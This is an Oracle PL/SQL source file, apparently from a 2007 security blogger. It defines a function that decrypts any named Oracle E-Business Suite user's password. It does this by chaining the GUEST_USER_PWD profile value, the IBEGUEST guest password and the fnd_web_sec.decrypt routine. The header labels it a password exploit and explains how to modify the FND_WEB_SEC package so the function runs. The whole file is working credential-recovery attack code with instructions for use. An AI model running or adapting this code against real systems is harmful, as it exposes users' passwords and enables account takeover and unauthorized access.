CREATE OR REPLACE FUNCTION XX_TERM_DECRYPT
/********************************************************************
 *  FILE NAME
 *    XX_TERM_DECRYPT.sql
 *
 * 
 *  DESCRIPTION
 *     This Oracle function will decrypt the Oracle Apps password from
 *     a given user. The function can be called from a SQL command line 
 *     by issuing the following command:
 * 
 *     SELECT xx_term_decrypt('XXXXXX') FROM DUAL;	
 * 
 *     Where XXXXXX is the username of which the password is required. 
 *     For this function to be able to work correctly a modification to 
 *     the package specification of FND_WEB_SEC is needed. Please add 
 *     the following line to the FND_WEB_SEC package:
 * 
 *     function decrypt(key in varchar2, value in varchar2) return varchar2; 
 *
 *     A more detailed description of this Oracle Password exploit can be 
 *     found at the weblog of Johan Louwers: http://johanlouwers.blogspot.com/
 *     More information about Oracle security can be found at his website
 *     at http://www.terminalcult.org/
 * 
 *
 * 
 *  LICENSE
 *     Copyright (C) 2006  Johan Louwers
 *     
 *     This program is free software; you can redistribute it and/or
 *     modify it under the terms of the GNU General Public License
 *     as published by the Free Software Foundation; either version 2
 *     of the License, or (at your option) any later version.
 *     
 *     This program is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *     
 *     http://www.gnu.org/licenses/gpl.txt  
 *
 *
 *  DOWNLOAD / CONTACT
 *     you can download the script from the following location:
 *     http://www.terminalcult.org/source/oracle/sql/XX_TERM_DECRYPT.sql
 *  
 *     You can contact Johan Louwers at Johan.Louwers(at)terminalcult.org
 *
 *
 *  HISTORY
 *  Version Date        Author(s)           Description
 *  ------- ----------- ------------------- --------------------------
 *  1.0     02-JAN-2007 Johan Louwers	      Initial Creation
 *
 *******************************************************************/
  (p_user_name IN VARCHAR2)
  RETURN CHAR
IS


/* ------------------------------------------------------------------------------------*/
/* Select the profile option GUEST_USER_PWD, the value of the profile option is used as
   a decryption key for the guest user encrypted password. */
CURSOR c_guest_profile
IS
  SELECT 
       fnd_profile.value('GUEST_USER_PWD') AS PROFILE_OPTION
  FROM 
      dual;
  r_guest_profile c_guest_profile%ROWTYPE; 
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/*Select the encrypted guest user password so it can be decrypted in a later stage. The 
  decrypted guest user password is used as a decryption key for the user password.*/
  CURSOR c_guest_user_password
  IS
    SELECT
          usertable.encrypted_foundation_password
    FROM
        fnd_user usertable
    WHERE
         usertable.user_name LIKE upper('IBEGUEST');
  r_guest_user_password c_guest_user_password%ROWTYPE; 
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/* Decrypt the guest user password using the profile option value as a decryption key. The 
   decrypted  guest user password is used as a decryption key for the user password. */
  CURSOR c_guest_password_decrypt
  IS
    SELECT 
          fnd_web_sec.decrypt(r_guest_profile.profile_option , r_guest_user_password.encrypted_foundation_password) AS GUEST_PWD
    FROM
        DUAL;
  r_guest_password_decrypt c_guest_password_decrypt%ROWTYPE;
/* ------------------------------------------------------------------------------------*/



/* ------------------------------------------------------------------------------------*/
/* Select the encrypted user password from the user which you want to decrypt the password
   from. The decryption of the user password is done in a later stage. */
  CURSOR c_encrypted_password(
                              p_user_name VARCHAR2
                             )
  IS
    SELECT usertable.encrypted_user_password FROM fnd_user usertable WHERE USER_NAME = p_user_name;
  r_encrypted_password c_encrypted_password%ROWTYPE;   
/* ------------------------------------------------------------------------------------*/  



/* ------------------------------------------------------------------------------------*/
/* Decrypt the password from the user using the decrypted guest user password as the decryption
   key and the encrypted user password to be decrypted */
  CURSOR c_decrypt_password(
                            key VARCHAR2
                           ,password VARCHAR2
                           )
  IS
    SELECT fnd_web_sec.decrypt(key, password) AS DECRYPTED_PASSWORD from dual;
  r_decrypt_password c_decrypt_password%ROWTYPE;     
/* ------------------------------------------------------------------------------------*/



BEGIN
   /*Open, fetch and close cursor responsible for the guest user profile option. */
   OPEN  c_guest_profile;
   FETCH c_guest_profile INTO r_guest_profile;
   CLOSE c_guest_profile;

   /*Open, fetch and close cursor responsible for selecting the encrypted guest user password. */
   OPEN  c_guest_user_password;
   FETCH c_guest_user_password INTO r_guest_user_password;
   CLOSE c_guest_user_password;

   /*Open, fetch and close cursor responsible for decrypting the guest user password. */ 
   OPEN c_guest_password_decrypt;
   FETCH c_guest_password_decrypt INTO r_guest_password_decrypt;
   CLOSE c_guest_password_decrypt;

   /*Open, fetch and close cursor responsible for selecting the encrypted user password. */
   OPEN  c_encrypted_password(p_user_name);
   FETCH c_encrypted_password INTO r_encrypted_password;
   CLOSE c_encrypted_password;   

   /*Open, fetch and close cursor responsible for  decrypting the user password */
   OPEN  c_decrypt_password(r_guest_password_decrypt.guest_pwd, r_encrypted_password.encrypted_user_password);
   FETCH c_decrypt_password INTO r_decrypt_password;
   CLOSE c_decrypt_password;   

   /*Return the decrypted user password */
   RETURN (r_decrypt_password.decrypted_password);

/*End the function */
END XX_TERM_DECRYPT;
